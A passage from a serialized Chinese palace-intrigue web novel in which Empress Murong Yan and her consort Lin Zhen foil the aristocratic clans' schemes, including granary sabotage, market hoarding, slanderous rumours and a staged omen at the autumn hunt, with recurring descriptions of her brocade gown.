她左手拇指上的墨玉扳指,在烛光下泛着幽润的光泽。而那长达五丈的苏锦拖尾,?并未铺展,?而是自然地、迤逦地堆叠在书案旁铺着的厚厚绒毯上,?墨金色的锦缎与深色绒毯几乎融为一体,?唯有金线反射的微光显示其存在。? 棉质的吸湿透气在雨天更显舒适。 慕容嫣似乎在看一本地方志,?看得有些入神,?指尖戴着墨玉扳指,?无意识地在书页上轻轻划过。 林臻偶尔会起身,为她续上热茶,或为她披上一件薄薄的丝绒披风,生怕她着凉。每一次靠近,都能闻到她发间清冷的梅香和神凤降世裙上苏锦特有的淡雅气息。 “夫君,”慕容嫣忽然开口,?目光并未从书卷上移开,?声音带着一丝慵懒的疑惑,“这青州志上写往年此时,漕运该是最繁忙的时节为何今年户部报上来的漕粮入库数目却比往年少了三成不止?” 林臻放下兵书,走到她身边,看向她手指的那一行字,眉头微蹙:“确有此事。为夫前日查阅户部简报,也觉蹊跷。各地报称雨水不均,或有延误,但三成之数确实异常。” 慕容嫣合上书卷,?身体向后靠入椅背,?微微蹙起秀眉,?指尖轻轻敲击着桌面?:“雨水不均能差这么多?还是说有人不想让粮食顺利进京?” 她的语气平淡,却带着一种敏锐的洞察力。 就在这时,殿外传来急促的脚步声,打破了雨天的宁静。暗卫统领甚至来不及等通传,便浑身湿透地跪在殿门外,声音带着压抑的急切: “陛下!京畿暗卫急报!昨夜,京郊三处官仓接连失火!虽未造成大损,但巡逻卫兵发现仓廪外墙有被撬动的痕迹!疑似有人意图纵火未遂!此外监察御史密奏,近日长安城内几家最大的米行、布行、盐号,暗中联手,囤积居奇,哄抬物价,城内已有民怨滋生!” 官仓被窥伺!民生必需品被操纵! 这不再是暗地里的诅咒或遥远的勾结,而是直接针对帝国命脉和京城稳定的恶毒攻击! 世家们,开始动真格的了! 殿内温馨的气氛瞬间冻结! 烛火似乎都摇曳了一下。 林臻脸色骤变,眼中杀机迸现:“好大的胆子!竟敢打官仓的主意!还敢扰乱京城民生!” 他看向慕容嫣,“嫣儿?” 慕容嫣的反应却出奇地平静。 她甚至没有立刻站起身,?只是缓缓地,?将手中的书卷放回案上。 她的脸上没有任何震惊或愤怒,?反而嘴角缓缓勾起一抹极淡的、冰冷的、仿佛等待已久的弧度。 “终于忍不住了?”她轻声自语,?声音在雨声中几不可闻,?却带着令人胆寒的意味。 她缓缓站起身。那五丈长的苏锦拖尾随着她的动作在绒毯上滑动,?发出细微的沙沙声。 “官仓,”她踱步到窗前,?看着窗外连绵的雨丝,?声音清晰而冰冷,“看守官仓的将领是谁的人?查清楚。失职者,无论背景,一律革职查办!增派朕的亲军凤翎卫,接管所有京畿重要粮仓、武库的防务!没有朕的手谕,一粒米、一杆枪也不准动!” 她的命令果断而狠辣,直接接管要害部门。 “至于那些奸商,”慕容嫣转过身,?目光扫过林臻和跪在门外的暗卫统领,?眼中闪过一丝残忍的笑意, “他们不是喜欢囤积吗?好!朕成全他们!传朕旨意,即日起,开放皇室内库存粮、存布、存盐,于东西两市设立‘平准官市’,以低于市价三成的价格,无限量发售!朕倒要看看是他们囤的货多还是朕的内库充盈!” 这一招,是典型的经济战,以其人之道还治其人之身! 用皇家的绝对财力,直接碾压那些试图操纵市场的世家商号! “还有,”慕容嫣的指尖轻轻点着窗棂,“给朕查!彻查这些米行布庄盐号背后的东家!他们的银子是从哪里来的?是不是来自太原?来自清河?或者还有其他地方?” 她的目光锐利如刀,直指幕后黑手。 “陛下英明!”暗卫统领叩首,“臣立刻去办!” “等等。”慕容嫣叫住他,?语气忽然变得慵懒,?仿佛刚才那番杀伐决断只是幻觉,“动静不要太大。打草容易惊蛇。朕要的是连根拔起而不是吓跑几只苍蝇。明白吗?” 暗卫统领心中一凛,深深叩首:“臣明白!定会小心行事,绝不打草惊蛇!” 暗卫退下后,殿内再次恢复寂静,只剩下雨声。 林臻走到慕容嫣身边,看着她平静的侧脸,心中充满了敬佩与爱怜。他的嫣儿,总是能在最危急的时刻,展现出最冷静、最狠辣、也最有效的手段。 “嫣儿,”他轻声唤道,伸手想握住她的手。 慕容嫣却忽然,?猛地转过身来?! 动作带着一种洞悉阴谋后的决绝与一丝不易察觉的兴奋! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同被惊动的凤凰之翼,轰然展开,?唰啦一声扫过书案前的绒毯!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下璀璨夺目的“满地织金”内衬!?? 百凤朝阳、万福万寿的纹路在瞬间闪耀,金光流淌,尊贵、耀眼,且带着碾碎一切宵小伎俩的绝对自信! 裙摆落下,华光内敛于沉静的墨色。 但慕容嫣的眼神,已如同窗外秋雨般冰冷。 “他们以为搅乱市场窥伺官仓就能让朕顾此失彼?就能让京城乱起来?”她的声音带着一丝讥讽,“真是天真得可笑。” 林臻握住她微凉的手,沉声道:“他们这是狗急跳墙,自寻死路。嫣儿此番应对,定能让他们偷鸡不成蚀把米。” 慕容嫣反手握住他的手,?力道有些紧。 “夫君,”她抬头看着他,?凤眸中闪过一丝疲惫,?但更多的是一种偏执的坚定,“朕有些累了陪朕去歇会儿。” “好。”林臻将她轻轻拥入怀中,感受到她身体的微颤,并非恐惧,而是高度集中精神后的松弛。他拥着她,向寝殿深处走去。 那迤逦的五丈拖尾,?在身后,?如同一条墨金色的河流,?无声地流淌过布满阴谋气息的书案,?流向温暖的休憩之所。 殿外,秋雨依旧连绵,长安城的暗处,腥风血雨已然掀起一角。而凤寰宫内,帝后相拥,于温情中化解着来自四面八方的冷箭。 第935章 妖星转世?祸乱江山 圣徽元年的初秋,几场秋雨过后,天气转凉,长安城却笼罩在一股异样的氛围中。 慕容嫣以雷霆手段接管京畿要仓,并以皇室内库无限量平价供应民生必需品的举措,如同一盆冰水,瞬间浇灭了世家试图通过操纵市场来制造混乱的火焰。 平准官市门前排起的长龙,百姓们用远低于市价的钱买到米粮布盐时对“陛下圣明”的称颂,都像一记记响亮的耳光,抽在那些囤积居奇的世家商号脸上。经济上的短促突击,彻底失败了。 然而,世家数百年的底蕴,绝非仅限於此。 正面抗衡、经济捣乱接连受挫后,他们转而采取了更为阴损、也更难防范的手段——攻心。 这一次,他们的目标不再是物资或城池,而是帝国的未来,是人心的根基。 这一日,秋高气爽,阳光透过雕花长窗,在凤寰宫寝殿内投下斑驳的光影。 慕容嫣似乎心情不错,?并未处理政务,?而是身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正与林臻在临窗的暖榻上对弈。棋盘是上好的白玉和墨玉所制,棋子温润。 林臻执黑,慕容嫣执白。 他落子谨慎,却时常不着痕迹地让着慕容嫣,目光更多是温柔地流连在她专注的侧脸上。 慕容嫣则时而蹙眉沉思,?时而嘴角微扬,?指尖戴着墨玉扳指,?拈起白子,?轻轻落下,?发出清脆的声响**。 ?神凤降世裙在秋日明媚的阳光下,华光流转。?极致玄黑的苏锦底料吸吮着金光,色泽愈发沉静深邃,织入的金色棉绒与真金线则流淌着温暖而耀眼的暗金波光。? 睡裙之上,那只擎天巨凤在日光下少了几分夜晚的凌厉,凤羽层叠,华美雍容,如同在暖阳下栖息的祥瑞。 ?宽大轻盈的喇叭袖一只挽起少许,便于她落子,另一只则软软地垂在榻沿。 她左手拇指上的墨玉扳指,在光下通透莹润。 而那长达五丈的苏锦拖尾,?并未规整铺放,?而是恣意地、迤逦地铺满了榻前一大片光洁的金砖地面,?墨金色的锦缎在阳光下,?如同一条流淌的熔金河流,?华美夺目。?棉质的柔软与睡裙的宽松,让她在对弈时保持舒适与自在。 “夫君,你这步棋可是让着朕了?”慕容嫣忽然抬起眼,?凤眸中带着一丝狡黠的笑意,?看向林臻。 林臻微微一笑,放下手中的黑子,坦然道:“嫣儿棋艺精妙,为夫甘拜下风。何来相让?” 他伸手,为她将颊边一缕散落的发丝别到耳后,动作自然亲昵。 慕容嫣轻笑出声,?显然很受用他的体贴,?正要再落一子,?殿外却传来了暗卫统领刻意压低却难掩凝重的声音?:“陛下,有要事禀报。” 温馨的棋局氛围微微一滞。慕容嫣脸上的笑意淡去,?但并未显露不悦,?只是慵懒地靠回引枕,?指尖依旧把玩着那枚白子?:“进来说。” 暗卫统领入内,单膝跪地,声音低沉:“陛下,近日京中乃至周边州县,坊间悄然流传起一些童谣和流言蜚语,内容极为恶毒阴损。” “哦?”慕容嫣眉梢微挑,?似乎来了点兴趣,“说来听听。” 她的语气,仿佛在听一个有趣的故事。 暗卫统领深吸一口气,硬着头皮道: “童谣唱的是‘金凤巢,黑龙绕,阴盛阳衰乾坤倒;圣徽年,血雨飘,稚子无父老无巢’还有还有流言说陛下您身着妖服(意指神凤降世裙),乃是前朝覆灭的妖星转世,专为祸乱江山而来所到之处,必有兵灾战祸还说林亲王他是陛下以邪术控制的傀儡终将反噬其身。” 这些童谣和流言,恶毒之处在于,它们不再直接攻击政令,而是扭曲天命,诅咒国运,离间帝后。 更可怕的是,它们利用孩童之口传唱,极易扩散,且难以追查源头,其意在从根本上动摇民心,尤其是对未来的恐慌! 林臻的脸色瞬间阴沉如水,眼中杀机暴涨! 污蔑他无所谓,但诅咒慕容嫣,离间他们的关系,这是他绝不能容忍的! “放肆!查!给为夫彻查!揪出造谣者,碎尸万段!” 慕容嫣的反应却再次出乎意料。她不仅没有动怒,?反而“噗嗤”一声笑了出来,?笑声清脆,?带着毫不掩饰的讥讽。 “妖星转世?祸乱江山?呵呵真是越来越有创意了。” 她放下手中的棋子,?目光扫过暗卫统领,“还有吗?就这些?” 暗卫统领一愣,忙道:“还还有一些是说平准官市的粮食是是用阵亡将士的血肉变的吃了会会遭天谴以及诅咒陛下终身无嗣断送国祚” 这些话,一句比一句阴毒,直指慕容嫣的统治合法性和未来希望。 林臻气得浑身发抖,猛地站起身:“嫣儿!这群鼠辈!竟敢如此恶毒!让为夫去。” “夫君稍安勿躁。”慕容嫣却伸手拉住了他的衣袖,?力道不大,?却带着不容置疑的平静。她脸上依旧带着那抹讥诮的笑意,?眼神却冰冷如霜。 “跳梁小丑,黔驴技穷罢了。他们也就只剩这点搬弄口舌的本事了。” 她转向暗卫统领,?语气慵懒,?却字字清晰?: “传朕旨意,第一,令京兆尹及各地官府,不必刻意禁绝这些流言,更不必大张旗鼓抓人。但,若有公然在街市传唱、散布者,以‘妖言惑众、扰乱民心’之罪,杖责二十,游街示众后,发配边疆充军。朕倒要看看,是他们的嘴硬,还是朕的板子硬。” 这是明松暗紧,抓典型立威,而不激起普遍反抗。 “第二,”她的指尖轻轻敲击棋盘,“组织翰林院的笔杆子们,给朕写!写歌颂圣徽新政、国泰民安的诗文歌赋!写朕与夫君君臣相得、平定四方的功绩!让说书人、戏班子,在茶楼酒肆、勾栏瓦舍给朕可劲儿地演、可劲儿地唱!朕要用真正的‘雅音正声’盖过那些阴沟里的‘鼠吠’!” 这是舆论对冲,占领文化阵地。 “第三,”慕容嫣的目光变得幽深,“也是最关键的查!但不是查那些散播谣言的愚民蠢妇给朕盯紧了最近有哪些世家在频繁宴请文人墨客?有哪些书院在突然讲授‘谶纬灾异’之说?有哪些寺庙道观香火钱突然暴增?尤其是太原、清河两地!” 她的矛头,直指幕后黑手! 童谣流言需要组织策划,需要资金支持,需要渠道传播,这些,都离不开世家的影子! “臣遵旨!”暗卫统领凛然应命,迅速退下。 殿内再次剩下二人。林臻依旧怒气难平,胸口起伏。 慕容嫣却站起身,?走到他面前,?伸手轻轻抚平他紧皱的眉头。 “夫君何必为几只苍蝇动气?”她的声音柔和下来,“他们越是诅咒朕无嗣越是离间我们就越是证明他们怕了怕我们君臣一心怕我们江山永固怕他们再无翻身之日!” 她的洞察,一针见血! 林臻握住她的手,感受到她指尖的微凉和坚定,心中的怒火渐渐被一种混合着心疼和敬佩的情绪取代:“嫣儿为夫只是听不得任何人诋毁你” “朕知道。”慕容嫣微微一笑,?主动依偎进他怀里,?双臂环住他的腰,?将脸贴在他胸前。 “有夫君在朕什么都不怕。这些流言伤不了朕分毫反而会让朕更清楚该砍掉哪些多余的枝丫。” 她在他怀里闷闷地说?:“不过他们说朕无嗣。” 她的声音忽然低了下去,带着一丝不易察觉的异样情绪。 林臻心中一震,将她抱得更紧:“嫣儿!不要听那些胡言乱语!我们还年轻,来日方长!退一万步说,即便真无子嗣,这万里江山,只要是你我携手,又何惧无人继承?为夫在,定护你周全,护这江山无恙!” 这不是安慰,而是誓言。 慕容嫣在他怀里轻轻颤抖了一下,?没有抬头,?只是更紧地抱住了他。 过了一会儿,她才抬起头,?脸上已恢复平静,?甚至带着一丝顽皮?:“夫君朕饿了今日想尝尝你亲手做的银丝卷” 这突如其来的要求,让林臻一愣,随即失笑,心中柔情满溢:“好,为夫这就去给嫣儿做。” 他转身欲往小厨房走去。慕容嫣却在他转身的刹那,?忽然,?也跟着转过了身?! 动作带着一种释然与轻快! 那轻盈华贵的五丈苏锦拖尾因这同步的回转被猛地带起,墨金色的巨幅裙摆如同双宿双飞的凤凰之翼,优雅地同步展开,?唰啦一声扫过光滑的地面!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在阳光下璀璨夺目的“满地织金”内衬!??金光流淌,百凤朝阳的纹路在瞬间闪耀,尊贵、耀眼,且带着一种任何流言都无法侵蚀的、坚实的温暖与默契! 裙摆落下,华光内敛。 慕容嫣看着林臻走向小厨房的背影,?嘴角勾起一抹温暖而真实的弧度。 流言如刀,但她有他。 江山风雨,但他们并肩。 这,就足够了。 第936章 射猎 圣徽元年的深秋,天高云淡,正是围猎的好时节。 按照祖制,皇帝需于此时举行秋猎大典,一则演练兵马,彰显武德;二则与臣同乐,巩固君臣关系。 然而,今年的秋猎,在慕容嫣看来,却注定不会太平。 北疆战事未平,东境暗流涌动,国内世家如蛰伏的毒蛇,秋猎这等人员繁杂、场面宏大的场合,正是他们兴风作浪的绝佳舞台。 果然,秋猎前夕,各种“祥瑞”之兆便开始在随行王公大臣间悄然流传。 有说西山猎场夜间有五彩祥云笼罩,有说御苑中出现了罕见的纯白灵鹿,更有甚者,引用谶纬之说,暗示“女主当阳,需以阴德配之,方保国祚绵长”,弦外之音,直指慕容嫣需收敛锋芒,善待士族,方能得上天庇佑。 这些言论,包装在祥瑞和天命的外衣下,比之前的诅咒流言更具迷惑性和煽动性。 秋猎前夜,西山行宫“栖凤殿”内,烛火通明。 相较于皇宫凤寰宫的极致奢华,行宫陈设更显古朴大气,但慕容嫣随身携带的物件中,?那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?依旧是最引人注目的存在。 她刚刚沐浴完毕,?长发微湿,?便换上了这身睡裙,?正慵懒地倚在行宫暖阁的软榻上。 榻前燃烧着驱散山间寒气的银骨炭,暖意融融。 林臻并未穿着戎装,而是一身墨色绣金常服,正半跪在榻前,小心翼翼地为慕容嫣擦拭保养明日狩猎需用的御弓。 他的动作专注而轻柔,仿佛在对待一件珍宝。 ?神凤降世裙在行宫略显粗犷的木质结构与暖阁温馨光线的映衬下,呈现出一种别样的华美。? 极致玄黑的苏锦底料吸吮着烛火暖光,色泽沉静如深渊,织入的金色棉绒与真金线流淌着温暖而内敛的辉光,与宫殿的木色形成奇妙的和谐。? 睡裙之上,那只擎天巨凤在相对简朴的环境中更显尊贵不凡,凤羽层叠,在光下仿佛随时欲乘风而起。? 宽大轻盈的喇叭袖一只软软垂落,拂过榻边的狼皮褥子,另一只则搭在林臻正在擦拭弓弦的手腕上。 她左手拇指上的墨玉扳指,在烛光下泛着幽润的光泽。 而那长达五丈的苏锦拖尾,?在行宫铺设的厚实织花地毯上,?迤逦铺开,?墨金色的锦缎与地毯上繁复的狩猎图案交织,?华美中透出一丝野性的张力。? 棉质的舒适让她在舟车劳顿后得以放松。 “夫君这弓弦是不是比往年又紧了些?”慕容嫣微眯着眼,?看着林臻熟练的动作,?声音带着一丝倦懒。 林臻试了试弓弦,点头道:“嗯,今年新进的蛟筋,韧性更足。为夫已调试过,保准嫣儿明日箭无虚发。” 他抬头,对她温柔一笑, “嫣儿可是在担心明日的秋猎?” 慕容嫣轻轻哼了一声,?嘴角勾起一抹似笑非笑的弧度?:“担心?朕是期待期待看看那些躲在阴沟里的老鼠明天会给朕演一出什么好戏。” 她伸出戴着墨玉扳指的食指,?轻轻点着榻边小几上的一份密报,?那是暗卫汇总的关于秋猎“祥瑞”的流言。 林臻眼中寒光一闪:“不过是些装神弄鬼、蛊惑人心的把戏。嫣儿不必放在心上,有为夫在,定不会让任何人惊了你的驾。” “惊驾?”慕容嫣轻笑,?笑声带着一丝冷意,“他们还没那个胆子。朕猜他们是想借着秋猎人多眼杂坐实那些‘祥瑞’逼朕在天下人面前对他们世家低头服软或者至少暂停新政。” 她坐直了些身子,?目光投向窗外漆黑的、隐约可见山峦轮廓的夜空?:“白鹿?祥云?真是老掉牙的手段”她的语气充满轻蔑。 就在这时,阁外传来心腹宫女的声音:“陛下,暗卫有紧急消息,关于明日猎场安排。” “进。”慕容嫣懒懒应道。 宫女入内,低声道:“禀陛下,暗卫查明,明日猎场‘祥瑞’现身之处,已被太原王氏的人暗中布置,那‘白鹿’实为用药染色的普通麋鹿,届时会由人驱赶至陛下必经之路。此外他们还在林中埋伏了人手,准备在‘祥瑞’出现时,带领部分事先收买的官员和士子,山呼‘天佑圣徽,女主当修德’等语。” 计划可谓周密,利用人们对“天意”的敬畏,制造舆论压力。 林臻闻言,脸色瞬间阴沉,手中保养弓弦的动作停下,指节因用力而泛白:“无耻之尤!竟敢如此算计嫣儿!为夫这就去。” “夫君急什么?”慕容嫣却伸手按住了他的手臂,?指尖微凉,?却带着不容置疑的镇定。 她脸上非但没有怒容,?反而露出一抹玩味的、近乎兴奋的笑意。 “他们既然搭好了台子朕怎么能不赏脸陪他们唱完这出戏呢?” 她转向宫女,?语气慵懒却条理清晰?:“传朕密令,第一,猎场埋伏的人手,给朕盯紧了,但不必打草惊蛇。第二,那匹‘白鹿’等它跑到朕跟前时让潜伏的‘夜枭’用浸了特殊药水的吹箭让它在朕面前突然变回原色嗯就变成斑驳的杂色吧看起来越狼狈越好。” 这一招,是当场揭穿骗局,让“祥瑞”变成笑话! “第三,”慕容嫣的眼中闪过一丝冷厉,“那些准备山呼的人把他们领头者的名字给朕记下来。等他们喊完朕要亲自‘嘉奖’他们让他们去边疆军营给将士们唱赞歌去!” 这是秋后算账,流放千里! “第四,”她顿了顿,?嘴角勾起一抹残忍的弧度,“告诉王家的那位负责此事的子弟朕很‘欣赏’他的匠心独运秋猎之后朕会请他来行宫好好‘聊聊’” 这是擒贼先擒王,杀鸡儆猴! 宫女凛然应命,迅速退下。 阁内再次剩下二人。林臻看着慕容嫣,眼中充满了惊叹与爱意。 他的嫣儿,总是能在阴谋中保持冷静,并瞬间想出最致命的反击。 “嫣儿你真是。”他一时不知该如何形容。 慕容嫣却重新慵懒地靠回引枕,?仿佛刚才那番杀伐决断只是随口一说。 “夫君弓保养好了吗?朕明日还要用它射猎呢。”她伸出手,?示意林臻将弓递给她。 林臻将保养得锃亮的御弓递上。 慕容嫣接过,?随手拉了一下空弦,?弓弦发出“铮”的一声清鸣。 她满意地点点头,?将弓放在身边。 “夫君。”她忽然唤道,?声音低了些,“抱朕一会儿山里的晚上有点冷。” 林臻心中顿时软成一片,立刻上前,将她连人带毯子一起拥入怀中。 慕容嫣顺从地依偎在他胸前,?汲取着他身上的温暖,?像只寻求庇护的鸟儿。? 宽大喇叭袖下的手环住他的腰。 “有夫君在,朕就什么都不怕。”她在他怀里闷闷地说,?语气带着全然的依赖。 林臻紧紧抱着她,下巴抵着她的发顶,誓言般低语:“为夫在,永远都在。明日,为夫会守在嫣儿身边,任何魑魅魍魉,都休想靠近半步。” 慕容嫣在他怀里轻轻点头,?过了一会儿,?似乎想起了什么,?抬起头,?凤眸中闪烁着狡黠的光芒?:“对了,夫君,明日若真有不开眼的野兽冲过来你可要护好朕这只‘当阳的女主’啊。” 她竟拿流言打趣自己,?语气轻松,?全然不将明日的风波放在眼里。 林臻失笑,低头吻了吻她的额头:“好,为夫定护得我的‘女主’周全。” 又温存了片刻,慕容嫣似乎困了。 林臻欲抱她去寝榻,慕容嫣却自己站起身,?走向内室。 就在她走到内室门口,?即将踏入更私密空间的那一刻,?她忽然回身?! 动作带着一种卸下所有伪装、回归真实自我的轻松与释然! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同归巢的凤凰之翼,优雅地展开,?唰啦一声扫过门槛内外铺设的兽皮地毯!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下流光溢彩的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光璀璨,尊贵、耀眼,且带着一种洞悉一切阴谋、即将予敌致命一击的从容与自信! 裙摆落下,华光内敛于沉静的墨色。 慕容嫣站在门口,?回眸对林臻嫣然一笑?:“夫君明日等着看好戏吧。” 说完,她转身步入内室,?那迤逦的拖尾,?最后在门口,?划出一道惊心动魄的墨金色弧线,?消失在门后。 林臻站在原地,望着她消失的方向,心中充满了难以言喻的情感。 明日秋猎,注定是一场不见刀光剑影,却凶险万分的博弈。 但他深信,他的嫣儿,必将再次让所有敌人,铩羽而归。 第937章 秋猎 圣徽元年秋猎大典,于西苑皇家围场隆重举行。 是日,天高气爽,万里无云,猎场旌旗招展,甲胄鲜明,文武百官、宗室勋贵皆按品阶列队,场面恢弘肃穆。 经历了前夜的暗流涌动,所有人都心知肚明,这场秋猎,绝不仅仅是传统的武备演练,更是一场无声的较量,是女帝慕容嫣向所有心怀异志者展示武力与权威的舞台。 辰时正,号角长鸣,鼓声震天。 皇帝仪仗抵达观猎台。 当慕容嫣的身影出现在高台之上时,台下原本隐约的窃窃私语瞬间消失,无数道目光汇聚而来,充满了敬畏、好奇、乃至一丝不易察觉的审视。 慕容嫣并未穿着繁复沉重的龙袍衮服,?而是选择了一身剪裁利落、便于骑射的玄色猎装,?然而,?在这猎装之外,?她依旧罩着那件标志性的、华美绝伦的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙?! 只是今日的穿法有所不同,?睡裙并未如宫中那般宽松垂坠,而是以一条宽大的同色墨金腰带紧束,勾勒出她挺拔矫健的身姿,?五丈长的拖尾也并未完全铺开。 而是由两名贴身宫女在其身后小心捧起前半部分,后半部分则依旧迤逦地拖曳在观猎台光洁的木质地板上,?即便如此,?那惊人的长度和华贵依旧夺目。 ?神凤降世裙在秋日灿烂的阳光下,焕发出与宫中截然不同的夺目光彩。 ?极致玄黑的苏锦底料吸吮着灼热的阳光,色泽愈发深邃如夜,织入的金色棉绒与真金线则反射出耀眼夺目的金色光芒,仿佛她自身便是光源。 ?睡裙之上,那只擎天巨凤在日光下栩栩如生,赤金线绣成的凤羽层叠闪耀,仿佛随时会振翅高飞,凤眸上的黑钻折射出锐利冰冷的光芒,睥睨着台下众生。 ?宽大轻盈的喇叭袖被收束在猎装袖口之内,仅露出袖口处精美的金线刺绣流苏,随着她的动作轻轻晃动。 她左手拇指上的墨玉扳指,在拉弓时显得格外醒目。?棉质的挺括与睡裙的华丽在此刻完美结合,既不失皇家的极致尊贵,又兼顾了骑射所需的便利与气势。 林臻一身玄色轻甲,侍立在她身侧稍后一步之处,目光沉静如水,手始终按在腰间的剑柄上,如同最忠诚的守护神。 他的目光掠过台下群臣,尤其是在那些世家代表脸上稍作停留,带着无形的威压。 简单的仪式过后,便是天子首射环节,寓意开启狩猎,祈求丰收。 按照惯例,将由皇帝射出一箭,目标通常是早已备好的、被驱赶至台前不远处的鹿或羊。 然而,今日的情形却有些不同。一头显然受过惊吓、格外狂躁的雄鹿被放入场中,它并未像往常那样温顺地跑向预设地点。 而是扬蹄奋首,在场中不安地刨着地面,甚至试图冲向两侧的仪仗队伍,引起一阵小小的骚动。这显然是有人做了手脚,意图让慕容嫣在众目睽睽之下出丑。 台下一些世家出身的官员眼中,闪过一丝幸灾乐祸或期待的光芒。 慕容嫣面色平静,?仿佛没有看到那头狂躁的雄鹿,?也没有察觉到台下异样的目光。她缓缓抬手,?身旁的内侍立刻恭敬地呈上她那把特制的御用长弓。 弓身以紫檀木为胎,缠以金丝,弓弦是上等的蛟筋,散发着冷冽的光泽。 她接过长弓,?手指抚过冰凉的弓身,?动作优雅而从容。 然后,她并未立刻搭箭,?而是转过身,?看向身旁的林臻,?嘴角微微上扬,?露出一抹极淡的、只有两人能懂的笑意?:“夫君,你看这鹿,倒是精神。” 林臻迎上她的目光,眼中是毫无保留的信任与温柔,他微微颔首,低声道:“野性难驯,正好配得上嫣儿的箭术。” 慕容嫣轻笑一声,?这才从箭囊中抽出一支白羽箭。箭簇在阳光下闪烁着寒光。 她搭箭,?开弓,?动作如行云流水,?没有丝毫迟滞?! 那神凤降世裙因她开弓的动作而微微绷紧,?勾勒出她手臂和背脊流畅而充满力量的线条。?墨玉扳指扣在弦上,稳定如山。 此刻,那头狂躁的雄鹿似乎被高台上的动静吸引,竟猛地人立而起,发出一声嘶鸣,露出了胸前一小块白斑! 时机稍纵即逝! 慕容嫣凤眸微眯,?眼神瞬间锐利如鹰隼?! 她甚至没有刻意瞄准,?全凭一种近乎本能的直觉与千锤百炼的肌肉记忆?!只听“嗖”的一声破空锐响! 白羽箭离弦而去,化作一道肉眼几乎难以捕捉的白线! 下一刻,“噗”的一声轻响!箭簇精准无比地没入了雄鹿胸前那块不大的白斑正中心!力道之大,几乎透体而出! 雄鹿的嘶鸣戛然而止,庞大的身躯轰然倒地,四肢抽搐了几下,便不再动弹。一箭毙命!而且是运动中极其微小的要害! 整个猎场,瞬间陷入了一片死寂!落针可闻! 所有人都被这神乎其技的一箭惊呆了! 无论是希望她出丑的,还是中立的,甚至是忠诚的将领,都被这精准、果决、充满力量的一箭所震撼! 这绝不是一个深居宫中的女子所能拥有的箭术,这分明是历经沙场、百步穿杨的神射手! 短暂的寂静之后,不知是谁率先反应过来,山呼海啸般的喝彩声骤然爆发! “陛下神射!” “天佑圣徽!陛下万岁!” 喝彩声一浪高过一浪,响彻整个山林,之前的骚动和异样目光被这绝对的实力碾压得粉碎! 慕容嫣缓缓放下长弓,?脸上依旧平静,?仿佛只是做了一件微不足道的小事。 她将长弓递给内侍,?然后,?在震天的喝彩声中,?微微侧身,?面向林臻。 就在她侧身的瞬间—— 动作带着胜利者的从容与优雅! 那被宫女捧起部分的五丈苏锦拖尾随之摆动,而依旧拖曳在地的部分则因她身体的转动被轻轻带动! ?轻盈华贵的裙摆飘起一个优雅的弧度,?赫然露出了里面那金线密织、在阳光下璀璨夺目到令人不敢直视的“满地织金”内衬!?? 金光乍现,如同她方才那惊鸿一箭般,耀眼、迅疾、且充满不容置疑的力量感! 裙摆落下,华光内敛。 慕容嫣伸出手,?林臻立刻上前一步,?自然而然地握住了她的手。 两人的手在袖袍的遮掩下紧紧相握,指尖传递着彼此的温度与激动。 “夫君,朕这箭,可还入眼?”慕容嫣仰头看着他,?凤眸中闪烁着明亮的光芒,?语气带着一丝不易察觉的、只有在最亲近之人面前才会流露的娇憨与寻求肯定。 林臻深深地看着她,眼中是毫不掩饰的骄傲与爱意,他用力握了握她的手,声音低沉而坚定,穿透了周围的喝彩:“嫣儿之箭,惊为天人。为夫心折不已。” 他的声音不大,却清晰地传入慕容嫣耳中,让她脸上的笑意更深了几分,那是一种发自内心的、被爱人赞赏的愉悦。 首射结束,盛大的围猎正式开始。 慕容嫣并未下场参与,而是与林臻并肩坐于观猎台上,俯瞰着千军万马驰骋猎场的壮观景象。 她偶尔会指点一下远处的战况,?或与林臻低声交谈几句,?神态慵懒而惬意。 那身神凤降世裙在猎猎秋风中衣袂飘飘,?墨金色的光芒与秋日山林的金黄交织,?她本人便成了这猎场中最耀眼、最至高无上的存在。 直到日头偏西,秋猎才接近尾声。返回行宫栖凤殿,屏退左右后,慕容嫣才终于卸下猎装外的束缚,?让那身神凤降世裙恢复其原本的宽松垂坠。? 五丈长的拖尾再次迤逦地铺满寝殿的地面。 林臻亲自为她卸下简单的发饰,用温热的毛巾为她擦拭额角并不存在的汗珠。他的动作极其轻柔,仿佛对待易碎的珍宝。 “今日,嫣儿辛苦了。”林臻低声道,语气中满是心疼。 慕容嫣慵懒地靠在他怀里,?摇了摇头?:“不辛苦,倒是看了场好戏。” 她指的是那些世家们计划落空后难看的脸色。 林臻低笑,将她拥紧:“从今往后,看谁还敢质疑嫣儿的武略。” 慕容嫣在他怀里轻轻“嗯”了一声,?过了一会儿,?仰起脸,?眼神亮晶晶地看着他?:“夫君,朕今日表现如何?没有给你丢脸吧?” 这分明是明知故问,带着撒娇的意味。 林臻心中爱极了她这般模样,低头在她唇上印下轻柔一吻:“我的嫣儿,永远是天下最耀眼的存在。为夫与有荣焉。” 慕容嫣满足地笑了,?主动环住他的脖颈,?加深了这个吻。 第938章 天命女主 秋猎大典上那场“祥瑞变笑话”的闹剧,如同一盆冰水,将世家们企图借助“天意”逼宫的热情浇得透心凉。 王氏那位精心策划的子弟被慕容嫣“请”去行宫“聊聊”后,便如石沉大海,再无音讯。 其余参与鼓噪的官员被远流边军,杀鸡儆猴的效果立竿见影。 朝堂之上,一时间万马齐喑,再无人敢公开议论“天命”“女主”之事。 然而,这死寂并非臣服。 慕容嫣与林臻都清楚,世家数百年的底蕴,绝不会因一两次挫败而瓦解。 他们如同受伤的巨兽,舔舐伤口,将仇恨与恐惧深埋,转而以更隐忍、更狡猾的方式,延续着这场关乎生存的战争。 这场战争,从台前转入了幕后,从激烈的对抗变成了漫长的消耗与侵蚀。 秋猎结束,回到长安皇城,已是深秋。 萧瑟的秋风卷起枯黄的落叶,为恢弘的宫城平添几分肃杀。凤寰宫内,却因早早燃起的地龙而温暖如春。 慕容嫣似乎格外享受这深秋的静谧。她近来愈发少临朝,?多数政务皆由林臻与内阁处理,?只有重大决策才由她最终定夺。 